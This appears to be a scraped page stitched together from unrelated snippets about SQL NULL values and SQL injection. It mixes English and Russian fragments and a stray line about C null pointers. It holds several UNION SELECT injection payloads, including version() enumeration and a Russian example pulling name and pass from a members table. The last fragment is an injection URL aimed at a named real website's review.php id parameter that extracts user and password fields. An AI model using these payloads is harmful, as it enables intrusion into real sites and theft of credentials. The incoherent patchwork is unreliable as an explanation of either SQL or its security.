Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
SQL NULL Values - IS NULL and IS NOT NULL.
...UNION ALL SELECT NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL.
select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
The IS NOT NULL operator is used to test for non-empty values (NOT NULL values). The following SQL lists all customers with a value in the "Address"
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
2f**%2fcAsT(0x393133353134353632362e39+as+char)... что даёт злоумышленнику возможность собрать интересующую его информацию и ею далее воспользоваться. Так как код сайта ну ОЧЕНЬ древний, приходится лечить примерно вот такими вставками с регекспом, в который...
9. Оператор UNION С оператором UNION можно делать запросы к пересечению таблиц. В основном, вы можете отправить запрос, возвращающий значение из другой таблицы. Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит...
The null pointer doesn't point to any composite so using it in pointer arithmetic expressions is illegal.
P5.1.73-cll3!Padmin_ckg=~= http://www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat(0x3d7e3d,ifnull(user,char(32)),0x332150,ifnull(pass,char...